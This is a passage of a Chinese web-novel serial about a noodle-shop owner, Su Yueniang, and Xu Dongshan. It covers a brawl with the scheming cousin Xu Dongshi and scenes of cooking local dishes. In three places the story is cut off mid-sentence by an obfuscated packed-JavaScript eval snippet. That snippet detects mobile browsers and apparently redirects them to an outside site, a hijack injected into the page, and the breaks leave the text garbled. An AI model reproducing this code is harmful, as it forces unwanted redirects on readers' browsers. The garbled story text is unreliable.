待苏月娘坐稳当了，许东山直起腰身，一把将轻盈的她托起。 被托起的苏月娘还高许东山半个头，视野宽阔清晰了，台上的风景一览无遗。 可苏月娘却没了之前那般的专注，她看得心猿意马的。 臀下是解释有力的小臂，双臂还的是许东山的脖颈，稍一低头，便是许东山那张从下从上看都好看的脸。 他个头高，不需踮脚也能看清，长睫垂下，却隐约能瞧见他黑色眼仁中倒映着台上昏黄的灯火。 苏月娘的注视过于持久灼热，许东山紧张得心跳加速，怕再装得波澜不惊终会失态，他鼓起勇气，稍仰头，看向苏月娘。 视线相撞，周遭的看客与唱戏声仿若消失，整个世界好像就只剩下了对视的两人与心意相通的心跳。 深夏热风，天边圆月。 红晕悄然爬上了双颊。 对视太久，苏月娘难以承受自己脱缰似的心跳，她垂下眼，回过头两眼空空地看戏，而身子却不自觉地朝着许东山的臂膀与胸膛贴去，双臂慢慢地收紧。 一向稳重可靠的许东山虽然喉结来回滚动，呼吸紊乱，托着苏月娘的小臂却始终一动不动的。 …… 陈三最终与五娘从潮州回到泉州，有情人终成眷属。 苏月娘犹记得儿时看的是悲剧结局，陈三五娘私奔被捕，陈三惨遭流放客死他乡，而五娘悲痛欲绝投井殉情。 那时候她爹看了这个结局，一副既满意又不满意的模样。 “潮州泉州相隔甚远，她嫁这么远做什么？遭欺负了可不就没人撑腰！月娘你长大了可不要嫁太远！” “为什么要为了陈三去投井？唉！月娘你可不要学她！” 从前苏月娘觉得自己爹说得很是在理，可今日她又觉得这个喜结连理的结局看着也有些顺眼。 苏月娘从许东山的胳膊上跳了下来，趁着前方的看客们还在那儿意犹未尽地站着，她拉上了许东山的手。 “趁着人还没散，咱们两个快走！” 大手被小手牵着，许东山在后面扬了扬嘴角。 两人一路无言，趁着夜黑风高，无人路过，就这么安安静静地一齐走回家。 直至进了家门，两人的手才慢慢松开。 一时间，两人都有些不好意思，纷纷低着头，不敢看对方的眼。 “明早我去衙门问问情况……等回来了再带你去木匠那里订新的桌椅……” 苏月娘轻声应好后，在堂屋里干站着的两个人又是长久的沉默。 许东山懊恼自己嘴太笨，不知在如此美妙的时刻说些什么。 憋了好半天，满肚子话到了这个大老粗的嘴边，却变成了“早些睡”三个字。 苏月娘抬头，笑意盈盈地看着他暗自懊恼，随后快步朝后屋走去。 —— 衙门离面线糊店有些远，许东山便早早地起了身，准备出发。 早起惯了的苏月娘虽不打算和许东山一起去，却也穿戴齐整，与他一起出门，拉着他去附近的包子铺买几个包子路上吃。 “两个三角包，四个大肉包，帮我包成两包。”这里的包子才苏月娘的拳头那般大，怕是四个大肉包子才能让许东山吃饱。 包子铺头家手脚麻利地将三角包和肉包子装好递给苏月娘，而昨天才赚了钱的许东山从兜里摸出一大把铜钱付了过去。 收了钱的头家转身从身后的案上取来一包鸡蛋和用细红绳捆着的几把面线递给苏月娘。（3） “月娘头家的事情我都听说了！那些人也就是钻阿山不在家的空子才敢去欺负你，要是阿山在，那些人恐怕都不敢往这里过！” 鸡蛋和面线是抚慰病人或是探望才受了难的人必备的东西，苏月娘没和包子铺头家客气，全数收下了。 “还好许大哥回得及时，不然后果不堪设想……”想起昨日那一遭，苏月娘还是心有余悸。 和包子铺头家站着说了会儿话，见有客人上门了，苏月娘和许东山才和包子铺头家告别。 …… 衙门的捕快们在许东山到达之前便开始干活了。 许东山向看门的报上了名姓，待对方入内通传过后，昨日才认识的捕快林大头亲自过来接人。 “许师傅来得正好！” “什么时候发落那几个无赖？”许东山早起时看到堆了一屋子的碎椅残桌，又是愤从心头起。 “人还没抓齐呢！我跟你说，牢房那里从那些人嘴里审出了点东西！” 许东山皱眉，他原以为那几个无赖是因为觊觎苏月娘的美貌才寻由头上门刁难，没曾想背后另有隐情。 “说来听听。” “那几个人确实是听说过苏姑娘的美貌，早想上门去调戏一番，但碍于你和苏姑娘总是形影不离的，下不了手。 但前段时日，你堂弟许东石和他们说你要去给别人办普渡宴，所以……” 许东山攥紧拳头，关节被他攥得咔咔作响。 “这个许东石！”许东山一拳头狠狠砸向身边的大柱。 林大头见许东山如此，忙劝道：“你别这样！” “许东石能抓吗？” 林大头摇了摇头，“毕竟许东石没有参与打砸，而且他也没有直接教唆那几个无赖上门……所以我们管不了他……” “多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336974|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢了！”怒不可遏的许东山转身便走。 林大头大声喊道：“许师傅你可别冲动！不然我们也难办！” —— 许东山恨不能现在就将拳头砸在许东石脸上，他一直加快脚步，归途竟缩短了一大半时间。 他径直路过家门，走入了隔壁的二福面线糊店。 今天月娘面线糊店没开门，有部分客人都到二福面线糊店将就一口，一些熟客见到许东山原想打个招呼，但看到许东山那张脸，当场将问好咽回肚子里。 “呦！稀客啊！阿山你怎么过来了！”李金花满面诧异地从厨房里走了出来。 “许东石呢！”许东山愤得额角青筋突起，原就凶的脸此时可怕得与阎王无异。 李金花见此，心里犯了个咯噔，“你……你找东石做什么……” 许东山没有回答李金花的话，他转过身，阔步朝着许东石的房间走去。 房门紧闭，许东山却没有耐心敲门，只见他抬起脚，往门上用力一踹，颇有年头的门应声倒地。 还在赖床的许东石吓得从床上滚了下来。 许东石尚未缓过神，就被许东山一把从地上揪起。 看清眼前的人，许东石怯怯地喊了句： “哥……有……有话好好说……” 有话自然不能说，许东山狠狠将许东石砸在了墙上，又立即俯身，掐着许东石的脖子，一路拖着他走出房门。 李金花失声惊叫，“许东山你做什么！你把阿石放下！” 许东山将人拖到堂屋去，丢在客人们的面前，许东石劫后余生一般捂着脖子用力咳嗽起来。 “暗示那几个无赖上门欺负我头家……许东石你挺能啊！”许东山也不管李金花和许二福还抱着没缓过来的许东石，他抬腿又是一脚。 直中许东石的面门！ 两条鼻血从鼻孔哗哗流下，流过人中、嘴唇、下巴，滴落在地上。 李金花见儿子被打得鼻血直流，心疼得眼泪直掉，“许东山你这个畜生！居然连你的亲堂弟都打！我要报官抓你！” 客人们听说昨日上门打砸月娘面线糊店的无赖是受了许东石的暗示后，纷纷对着许东石指指点点起来。 “平日里就是个吊儿郎当的混混，也难怪会和那几个无赖认识！” “可不是嘛，以前我还亲眼看到过他在隔壁想吃白食，结果被许师傅扔出来了！” “听说他以前还调戏过小姑娘呢！” 听着客人们的窃窃私语，许东石恍恍惚惚地回过了神，他着急忙慌地驳斥道：“你别血口喷人！你有什么证据说是我暗示的！” “衙门的人都已经审出来了！” 听说是衙门那边审出来的，原还叫嚣着要报官的李金花顿时噤了声。 许东石心头一慌，竟然将背后缘由一一托出。 “你和苏月娘那个贱人让我在那么多人面前丢了脸，我让人上门打砸你们的店又如何！” “要不是你半途回来了，苏月娘那个女人早被他们几个搞到手了！” 这话太难听，许东山当场生了狂，他双手狠狠揪着许东石的领子，将人从许二福与李金花的怀里抢出。 一瞬之间，许东山一手掐着许东石的脖子，另一手攥成拳头，“砰”的一声，朝着许东石的脸面一下一下地砸去，任旁人如何拉扯都没能阻止。 受人桎梏的许东石只觉得自己怕是要命丧于许东山手下。 “许大哥！” 受人知会才赶来的苏月娘见到里头的惨状，慌忙冲入堂屋，一把抱着许东山的腰身，迫使他向后腿。 许东山踉跄两步，勉强停住了脚跟，理智慢慢回笼。 他僵硬地转过身，无措地看着身后的苏月娘。 “你要是被抓走了我怎么办！”苏月娘咬着唇，展开双臂，扎进许东山的怀里无声落泪。 42. 土笋冻 被打得半死不活的许东石瘫软无力地朝着地靠在父母怀里，看着许东山与苏月娘走出自家家门。 急火攻心，许东石猛咳几下，忽然一口带着两颗牙的血水从他口中喷出。 李金花与许二福见儿子吐血了，着急忙慌地求身边的客人帮忙去喊郎中。 虽说许东石真不是什么好东西，但毕竟也是一条人命，客人还是一边唾骂着，一边外出帮忙请郎中。 剩余的客人三口两口喝了面线糊后便结伴买了鸡蛋和面线，去隔壁月娘面线糊店小坐一会儿。 …… 临近中午，客人们陆陆续续地离开了，家里又只剩下苏月娘许东山二人。 没有什么需要忙碌的事情，身边更没有旁人待着，青天白日的，两人看到彼此，竟然觉得有些尴尬。 干坐了许久，许东山搓了搓大腿，轻声道：“想吃点什么？” 苏月娘支着下巴想了好半天，惊觉家里除了许东山昨日拎回来的两条芋圆新鲜点外，旁的食材怕是都不能用了。 “你在家把芋圆炒了，我去街上看看能买些什么！” “好。”许东山手伸进两边衣兜里摸了摸，摸出了昨天黄阿三给的工钱交给苏月娘。 两个人一起生活久了，在买些两人一起用、一起吃的东西时，倒也没有像刚一起生活时分得那么清了。 黄阿三给的工钱实在太多了，苏月娘的小兜可装不下那么多，她解开绳子，取了一把出来，其余的还给了许东山。 “一点就够了，剩下的还你！”将钱丢入自己随身携带的小荷包后，苏月娘回厨房挎上菜篮子便出门了。 目送苏月娘出门，许东山低头看了看桌上的那两串钱，他苦恼地挠了挠脖子—— 这笔钱他是打算送给苏月娘当零用花的。 没想到她没要，那便只好再找个机会让她花出去。 —— 因为昨日那倒霉事情的缘故，今日苏月娘上街，总是有一些认识的厝边将她拦下来慰问一番。 菜还没买着，鸡蛋和面线就收了半篮子。 总算走到了商贩聚集的地方，苏月娘赶紧挑了几样菜与肉将菜篮子填满，省得回去时厝边们再给她塞鸡蛋面线。 苏月娘提着那满满当当一篮子东西往回走，没走几步便碰巧撞见给许东石看伤的郎中背着药箱走在对面。 虽然知道许东石伤得极重，但苏月娘还是想知道点细节，于是她快步走上前去将老郎中拦下了。 “老先生，借问一下您刚刚看的那个姓许的后生家怎么样了？” 装满东西的篮子太重，苏月娘索性往篮子底下一摸，掏出几个鸡蛋和两把面线塞到老郎中的药箱里头。 老郎中大概也知道苏月娘是何许人也，便没有拒绝苏月娘的询问与送礼。 “伤得挺重的！他整个脸肿得跟猪头一样！上排牙掉了两颗，右边靠下的排骨和左手骨头都出了点问题……怕是没个半年都恢复不好！” “那小子做的事情请我去的人都说了，我方才给他正骨接骨的时候还特地下了狠劲儿，让他尝尝苦头！” 这老郎中倒也是个嫉恶如仇的人，悬壶济世是要的，但救人之余教训一下恶人也是要的。 苏月娘被老郎中的快意恩仇给逗笑了，同老郎中再三道谢后，老郎中摆摆手，挎着药箱走了。 …… 因为二福面线糊店也出了事的缘故，今天两家面线糊店所在那一片冷清得有些过分。 想着方才在路上耽搁了不少时间，苏月娘便加快了回家的脚步。 靠近面线糊店所在的巷口，苏月娘依稀听见附近有人吆喝： “卖土笋冻咯！刚做的土笋冻！冰冰凉凉的土笋冻！” 土笋冻口感跟石花膏似的，加上蒜蓉酱油醋便是一道美味的凉菜，最是适合夏天吃。 苏月娘顿住了脚步，朝着四周张望，遥见一个卖土笋冻的阿伯挑着担子摇摇晃晃悠悠哉哉地往下走。 她赶忙提着东西回家，将菜篮子放在灶头后，便弯身去取碗。 许东山翻了翻菜篮子，瞥见苏月娘急哄哄地拿着个碗又朝外头跑去。 他还没来得及喊住她，她便三步做两步跑出了家门。 苏月娘掐得正好，她返回了巷口时，卖土笋冻的阿伯正好走到跟前。 看见苏月娘对着自己一直招手，阿伯笑呵呵地在苏月娘跟前放下担子。 “小姑娘，我这土笋冻可好了，里面的土笋都挺肥！你要几个？” 苏月娘将大碗递了过去，“帮我装半碗，我拿回家当凉菜吃。” “好嘞！” 阿伯掀开盖在挑筐上的纱布，露出里头堆叠了一整篮的小碗土笋冻。 土笋冻，虽名曰土笋却并非笋制，而是生长在滩涂上的一种长约二、三寸的蠕虫，因浑身沾满滩涂稀泥又形似小笋而得名“土笋”。 洗清土笋身上棕黑的泥沙，用石槌反复挤压去土笋体腔内的污物与内脏，再放入水中沸煮出胶质，出锅后磨搓去土笋黑色的外皮，留下白色的土笋肉，与带有胶质的土笋水一起冷却变成土笋冻。 阿伯的土笋冻个头不小，倒了六个，装满了半碗。 “原来一个三文，你买这么多就算你十五文好了！要剪成小块吗？” “那麻烦您了！”正好许东山给的钱还剩不少，苏月娘便用许东山给的钱付给阿伯。 阿伯从另一筐中取出一把大剪子，三下两下地将碗中的土笋冻剪成小块，接着挖一大勺蒜蓉、半勺姜丝甩入碗中，倒入酱油两勺、永春老醋一勺。 “来，你的土笋冻！尽量早点吃完！” 阿伯也没说什么好吃再买之类的话，土笋也就这段时间好卖一些，他不缺生意，也没有固定的售卖之处，今日在凤池镇，明日可能就在东街，去哪儿全凭心情。 谁碰到他，那就是赚到！ 苏月娘捧着加了料就有七分满的土笋冻回了家，向来手快的许东山已经炒好一盘菜端出来了。 “买土笋冻了？”许东山往苏月娘端回的碗里瞧了一眼。 “是啊！这土笋冻看起来清清淡淡的，肯定下饭！菜就不用多炒了，再煮一盆汤就够了。” “汤温在锅里，你坐着等就好。” 许东山向来是见缝插针做事的好手，方才等苏月娘买菜回来的时候，他已经炒好芋圆煮好汤，甚至摆好了筷子与汤勺。 等着许东山盛汤盛饭的时候，苏月娘一时贪嘴，夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346654|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起还热乎着的葱炒芋圆尝尝味道。 昨日做的芋圆今日味道一点没变，经油爆炒过的芋圆味道比清蒸的芋圆好，热油将芋圆表面的地瓜粉皮炒得酥脆，咬起来能听见些许脆响，外酥里糯，清香可口，极为下饭。 许东山分两次端来了米饭与紫菜丸子汤，而后又手痒回到厨房里将灶台擦了一番才真正入座吃饭。 还好芋圆炒得够多，不然就苏月娘吃的那个速度，只能不能给许东山留下多少。 “这芋圆真好吃！”苏月娘自觉吃了太多有些不好意思，便将芋圆推回许东山面前。 许东山轻笑，将芋圆又推了回去，“喜欢吃就多吃点，这顿吃完要是没腻，过两天再蒸几条。” 苏月娘点头如捣蒜。 今天三菜一汤，每一样都是苏月娘喜爱的。 吃过一点热乎的饭菜稍微垫了肚子后，苏月娘才用调羹舀了一块土笋冻入口。 弹胶颜色比石花膏清一些，被禁锢在胶内的肥圆细长土笋身有些许黑环，排形笔直。 原是没什么味道的胶块，但经过蒜蓉、酱油醋的点缀，清爽鲜脆，凉滑可口。 “这碗土笋冻花我大价钱买的！味道可鲜美了！你吃！” 如今有些事情尽在不言之中，苏月娘十分自然地舀了一勺土笋冻倒进许东山的碗中。 在苏月娘期待的眼神下，许东山低头品尝这受了苏月娘极大好评的土笋冻。 这附近卖土笋冻的小贩也就那么几个，许东山吃到了儿时熟悉的味道。 “味道不错，可惜，可遇不可求。” 幼时的许东山总期盼尝一尝这种走街串巷，又难得一见的市井小吃，但后来去拜师学艺，便极少见过。 如今再见，甚是惊喜。 “你喜欢啊？早知道方才我买一整碗好了！” “这东西吃多了倒也容易腻味，偶尔吃一两次，图个新鲜便好！” —— 月娘面线糊店里三菜一汤吃得有滋有味，而隔壁的二福面线糊店里却是一片愁云惨淡。 方才老郎中给许东石看诊时下了狠手，许东石一时没挨住，疼晕了过去，至今还未苏醒。 李金花和许二福寸步不离地守在床边抹眼泪。 “你这个侄子还真是个有良心的！为了个表妹将他亲堂弟打破相了！” 许二福虽然心疼儿子被打，心里气愤，但一想起是他儿子去暗示那几个无赖趁着许东山不在上门去欺负苏月娘，他便只能默默咽下了满腔愤怒。 “你说，这苏月娘到底是打哪来的！能得许东山这么维护！”李金花抹了一把眼泪，灵光一闪，“苏月娘既然不是你家这边的人，那便是许东山他娘那边的……诶……许东山他娘好像不姓苏？” 许二福看了一眼眼冒精光的妻子，心头一惊。 “你可不要再去惹那小子了！你小心他……” 李金花被这话气恼了，“你儿子被打成这样你还忍气吞声！你怎么就这么窝囊呢！” 许二福嘴笨，说不过李金花，只能坐在儿子床边生闷气。 这可让李金花有了说头。 二福面线糊店里李金花的喝骂不休，原在昏睡的许东石被聒噪的声响生生吵醒。 43. 青椒炒水鸡 大概是苏月娘遇到的事情在镇上太过轰动，在镇子周遭流动的黄阿三都听说了这事儿。 这不，黄阿三又找了个空闲的日子上门游说许东山去他那儿干一段时间。 这次时期特殊，苏月娘可懒得设宴款待黄阿三，在黄阿三与许东山泡茶时，她就在厨房里噼里啪啦地干活，借此表达自己对黄阿三的不满。 苏月娘弄出的声响实在让人难以忽视，黄阿三嗤笑，“你表妹脾气还挺大的，你要肯帮我，怕是要遭她一顿闹。” 许东山有些无奈，“去哪几天？” 黄阿三报了需要去干活的日子，许东山细细一算，正好避开了木匠交付新桌椅的日子。 “工钱照上回那样给我。” 黄阿三咋舌，“我还以为你这次不去了呢！” “毕竟最近店里没事做，闲着也不好，不如出去挣点钱。”其实归根结底是因为许东山想要攒钱成家。 黄阿三谨慎地朝着厨房看了一眼，往许东山那儿凑了凑，低声道：“阿山，你不如去我那儿长干下去！你在这面线糊店也就挣个卖气力的钱！现在镇上的人多了，宴席班子要扩大很简单，但你这家店总归生意有限，你头家要给你涨工钱，怕是不容易！” 许东山闻言，又是拒绝。 “这种话师兄不要再说了，我不愿意，她也会不高兴。” 黄阿三直起身子，看向厨房，只见刚才还在拖地的苏月娘现在阴恻恻地盯着他。 他不由得后背发凉，只得暂时放弃游说许东山去他那儿长干。 既然许东山同意再去帮忙几日，黄阿三也就不久待。 等黄阿三离开了，苏月娘丢了拖把，气冲冲地跑到堂屋去质问许东山。 “你居然答应他？你说好哪都不去的！” 店里遇了难，开不了张，苏月娘看着一片狼藉本就烦闷，又听说许东山还要去给别人做事，心里难免没有什么安全感。 “我就是去帮忙几天，等面线糊店重新开张了，我就回来继续给你干活。” 苏月娘满面怨怼，双唇微撅，盛满委屈的眼好似马上要滴泪。 苏月娘这副委屈巴巴的模样可让许东山心疼坏了，他双手搭着她的肩膀让她坐下，并及时倒上一杯热茶给她递过去。 “地方是我租给你的，桌椅理应我出钱……反正这几天也没什么需要忙的，倒不如出去把这笔钱挣了。” 苏月娘半信半疑地瞥他，“真的？你没骗我？” 许东山失笑，“我什么时候骗过你？” “那你出门的时候我就去红姑伯母家凑合凑合，省得李金花过来找我麻烦！” 殊不知李金花打昨日出了门，到今日还没回来，压根没机会上门找苏月娘的麻烦！ —— 最近镇上办宴的人家不少，许东山次日便开始跟着宴席班子到处跑。 许东山一出门，苏月娘就拎着肉和菜去红姑家里待着。 近来红姑没事做，就去领了一批鞋底子回家做。 在家闷了几天的阿生见苏月娘过来还挺高兴的，拉着苏月娘介绍他的家。 红姑有些头疼，“咱们家这么破，你还好意思和你月娘姑姑介绍！” 红姑家与许东山家比起来确实是有些破旧，但好在地方不算小，生活三代人不是什么问题。 而且红姑是个勤快的人，就算房屋破旧，她也日日打扫，没人居住的屋子也是一尘不染的。 跟着阿生逛过了他家，阿生的小伙伴便上门喊阿生出去玩，阿生为难地左看看小伙伴，右看看苏月娘。 苏月娘朝他摆摆手，“你出去玩吧！我陪你阿嬷说话！” 看着阿生和那群孩子跑远了，红姑摇了摇头，“这孩子这么爱玩，也不知道能不能乖乖坐在学堂里念书！” “孩子都这样……况且阿生这么听话，到时候进了学堂，必然乖巧听话！”苏月娘也不好干坐着说话，便拿起鞋样子与针线，学着红姑的动作做起了鞋底。 红姑，“等过了年，我就把他送到学堂去！就算没考上功名，至少也学学做人，省得以后变成了许东石那样不省心的无赖！” 苏月娘噗嗤一笑，近来在她耳边说许东石坏话的人可真不少，看来许东石的名声是彻底坏了。 两人闲聊了好一会儿，气氛倒是不错，就是红姑无意间抬头看苏月娘时，有些欲言又止。 “伯母，怎么了？” 红姑抿唇，“月娘，你那鞋底子缝得歪歪扭扭的，我怕是不能给头家交差。” 苏月娘看看红姑那缝得细密整齐的针脚，与自己的比起来，简直是天上与地下。 她尴尬地笑笑，取了剪子，将鞋底子上的线一点一点地拆掉了。 “月娘一看就是享福的，衣服是铺子里买现成的，针线活也不大会做……我家的后辈什么时候能过上你这样的好日子？”红姑心里是羡慕苏月娘的，她辛苦了一辈子，到老了还不停干活，便是为了后辈的日子可以好过一些。 “等阿生有出息了，别说后辈了，就连您也会跟着享福！” 红姑爱听这好听话，人忙忙碌碌一辈子，都是为了挣个好日子。 …… 临近正午，阿生掐着点儿回来了。 厨房里正热火朝天地做着午饭，阿生闻着味儿，紧紧捧着手里头的东西快步跑了去。 “阿嬷姑姑！我们今天加餐好不好！” 苏月娘头都没回，只顾着翻动锅里的菜，“你带什么好吃的回来了？” 阿生献宝似的将手里紧紧捧着的东西举了起来。 苏月娘听见“咕呱、咕呱、咕呱”的叫声，一扭过头，只见阿生手里抓着几只正在奋力挣扎的黑背白肚肥水鸡。 对上水鸡圆溜溜黑洞洞的眼睛，苏月娘心里发毛地往边上挪了几步。 “你拿去让你阿嬷杀了！” 红姑看出苏月娘怵水鸡，便揽下了宰水鸡的活。 洗清滑溜溜的水鸡之后，刀背拍晕，斩头剥皮，分剁几块，不出一会儿，原还“咕呱咕呱”聒噪叫着的水鸡已经变成了盘中一动不动的肉块。 “你手艺好，就你来炒水□□！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351361|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红姑笑着将水鸡块递给苏月娘。 “那伯母帮我切点配菜！” “好。” 阿生期待问道：“月娘姑姑，我呢我呢！” 苏月娘想了会儿，道：“你去把手上的泥洗干净，再去找点地瓜粉化在水里！” 每个人都领了活，各自忙了起来。 水鸡从田野池塘间来，与鱼类一般，生肉皆是顺滑的，若是下锅煎炒，最是容易松散糊底的。 若是要使水鸡表面变得结实，只需要在加入盐、料酒稍微调味之后，撒上两勺淀粉均匀地裹在水鸡肉块的表面。 “我简单切了一点葱姜和青椒，你看看还要什么吗？” “够的！” 这时候阿生也端来了地瓜粉水。 本身水鸡块中并未加太多料，味道难免寡淡，所以苏月娘将酱油、糖、盐、胡椒加在了地瓜粉水中以便勾芡时顺便调味。 调了味的地瓜粉水置放在桌边，阿生去闻了闻，期待地对正在等油变热的苏月娘道：“姑姑，这可是我特地找人换的肥水鸡！炒出来肯定好吃！” 锅中陆续炸出了油点子，苏月娘将水鸡和姜丝往锅里倒，快手翻炒了起来。 她笑着问道：“你怎么跟人家换的？” “我说我家今天来了个很尊贵的客人！他们也就卖我个面子，把肥水鸡都换给我了！” 阿生的话将苏月娘逗乐了，“你这孩子倒真是鬼机灵，就算你不读书，也能靠你的好人缘闯出一片天！” 阿生笑着在苏月娘身边蹭了蹭。 水鸡炒得七分熟后，苏月娘用菜刀捧来一把青椒撒入锅中随手翻炒两下后便分次倒入地瓜粉水勾芡。 等地瓜粉水凝结成一滩浓稠的棕色酱汁，青椒炒水鸡便可以出锅了。 “你小子别光顾着盯水鸡！快过来帮着端饭摆筷子！”红姑已经盛好了三碗饭放在灶头等着阿生去端。 阿生惦记着那盘炒水鸡，便积极地跑来跑去地完成红姑交代的任务。 等饭菜都上了桌，懂事的阿生分别给自己阿嬷和苏月娘夹了一块水鸡。 “我们阿生真懂事！”苏月娘也给阿生夹了一块，“用下面的料汁拌饭也很香，都试试！” 阿生调的地瓜粉水极多，苏月娘全都用完了，这也就导致盘底的料汁十分充足。 苏月娘率先舀了两勺料汁倒到米饭里搅拌均匀，随后盛起一勺米饭和一勺阿生给夹的水鸡吃下。 水鸡的肉质并不如鸡肉、猪肉那般紧实，尚未咀嚼，只是舌头与上颚一碾，外表滑嫩的水鸡肉便被碾碎，鲜滑的肉配上拌匀酱香咸甜料汁的米饭，让人忍不住一口接一口地继续送入口。 “月娘姑姑，你做的菜和干爹做的一样好吃！”阿生眯着眼睛，一副很是享受的样子。 “还真是很高的评价呢！”苏月娘乐呵地给阿生倒了几勺料汁在米饭里。 “你月娘姑姑炒的青椒田鸡这么香，你多吃半碗饭应该可以吧？” 阿生咂咂嘴，晃了晃脑袋，“多吃半碗太少了！我能多吃一碗呢！” 44. 大伯上门 自打许东山去给黄阿三干活之后，每日红姑家接苏月娘时，他手里头总能拎着一点宴席上没用完的好食材，有时是鱼虾螃蟹，有时是猪肉羊肉。 这可让贪嘴的阿生与苏月娘开心坏了，每日吃那些大鱼大肉的，短短几天，一大一小肉眼可见地变圆润了一圈。 …… 这日夜里，许东山又带着一些宴席上剩下的肉菜去红姑家接苏月娘。 叩门静等之后，是红姑开的门。 红姑还没见到人，就先见到一提递进门的肉。 红姑无奈地将门打开了些，“你怎么又带东西过来！你自己留点吧！” “您帮我照顾月娘，这是应该的。”许东山拉过红姑的手，将那提肉塞给她。 “月娘？”红姑笑了笑，“我还以为阿生那孩子和我说笑呢，没想到你们两个还真的……” 这几日阿生有时也会在红姑面前说漏嘴，起初红姑还不信，但今日头一次亲耳听到许东山称呼苏月娘为“月娘”，她才相信了阿生的话。 许东山一时有些耳热，忙岔开话题，“她呢？是不是在这儿睡着了？” 话音刚落，苏月娘欢欢喜喜地从阿生屋里跑出来，直奔许东山身边挽着他的胳膊。 “伯母，我们先走了！明天许大哥不用去做事，我就不过来了！” 红姑看着两人如此亲昵，打趣了一句，“你们是不是好事将近了？” 苏月娘和许东山皆是愣了一下，两人对视一眼，不知该回答是还是回答不是。 红姑没等到回答，大概也猜到两个人可能也才刚刚开始，谈婚论嫁尚且太早。 “阿山也累了一天了，你们快些回去吧！” 两人朝着红姑道了别后，才转身离去。 …… 也就是趁着夜黑街上无人，两人才敢这般挽着胳膊靠在一起走。 若是青天白日，纵然再借苏月娘十个胆，她也不敢这么做。 两人没有就着是否好事将近聊起来，一个还在努力地攒钱娶妻，一个还在担忧自己家里那些亲戚是否会放过自己。 这个时候就聊嫁娶还是太早了。 如此沉默地走着，实在浪费这无人打扰的皎洁月色。 苏月娘在许东山结实的胳膊上轻轻蹭了蹭，“上次我和春喜嫂独待的时候问过她，她说和我哥傍晚出门消食时总会走得很远，等走不动了，她就会让我哥背着她抄小道回家。” 近来许东山脑子灵活多了，听懂了苏月娘的暗示，他往前走了两步，蹲在苏月娘跟前，将宽厚的后背留给她。 苏月娘咧嘴一笑，往许东山后背上一趴，紧紧搂着他的脖子，下巴支在他肩膀上，等着他将自己的腿托起。 许东山的后背背过许多人，小时候背过娇气的许春喜，少年时背过那些或伤或死的战友，这还是头一回背心上人，他虽心里紧张，却也一步一步，走得很是稳当。 男人的后背宽大结实，苏月娘在他背上趴着，满心轻松。 她歪着脑袋，借着皎洁的月光打量着他那张常常没有什么情绪流露的脸。 俊是挺俊，就是笑得少，这样的脸若是有更多表情，定能更好看。 一时计上心头，向来说做就做的苏月娘忽然往前一凑，柔软的唇印在了许东山的侧脸。 一瞬即离，却如点燃了引线的鞭炮一般，将许东山炸得兵荒马乱。 原先稳重前行的人，忽然顿住了脚步，托着苏月娘双腿的手一松，满面错愕。 “哎呦！” 毫无防备的苏月娘就这么被许东山摔在了地上。 “许东山！” 苏月娘对着许东山怒目圆瞪。 待许东山回过神来，慌忙转过身蹲下，关切地看着揉着尾椎的苏月娘。 “摔疼了？” “废话！”苏月娘没想到区区一个吻，竟然让他如此失态，她的目的是达到了，却也付出了一点小代价。 “那我……我抱你？” 苏月娘撅着嘴，搂着许东山的脖子，任由他将自己横抱起来。 “好在刚刚不是让你这么抱我，不然我就不止尾巴头疼了！” 许东山自知是自己有错在先，便不敢吱声，“……” —— 许东山一忙忙了将近十日，每日都是早出晚归的，苏月娘心疼他，便主动提出等他歇息在家，要亲手做一桌子好菜犒劳他。 许东山期待这顿“犒劳饭”许久，为此，他特地起了个大早，等着与苏月娘一起去街上买菜，没曾想他将家里认真打扫了一番后，苏月娘还在屋里赖床。 眼瞧着再不出门，新鲜菜就要被买光了，许东山便只能自己拎着菜篮子出门。 正是街上人最多的时辰，许东山才拐出巷口走没几步，便掺和在了熙熙攘攘的人群之中。 沿街堆满了惠安女、蟳埔女和菜贩子，许东山一路跟着路人们一起挑挑拣拣，还没走到肉铺，倒也买到了好几样还带着水珠的新鲜菜。 七月份有普渡、小佛生日两大节日要办宴，人们吃腻了宴席上的大鱼大肉，到了月底，便寻思着吃点清淡的素菜换换口味，是以平日里生意极为红火的肉铺难得受了冷遇。 “今天生意不好，你要是买多一点，我给你算便宜一点！”肥头大耳的杀猪匠将新鲜的肉条甩到案板前端供许东山挑选，“那边还有我自家养的鸡，挺肥的，买回去炖汤也不错！” “切半斤五花，半斤瘦肉，再给我挑一只好一点鸡。” “好嘞！”杀猪匠杀猪刀一挥，麻利地切好一块五花与一块瘦肉，用秤一称，锱铢不差。 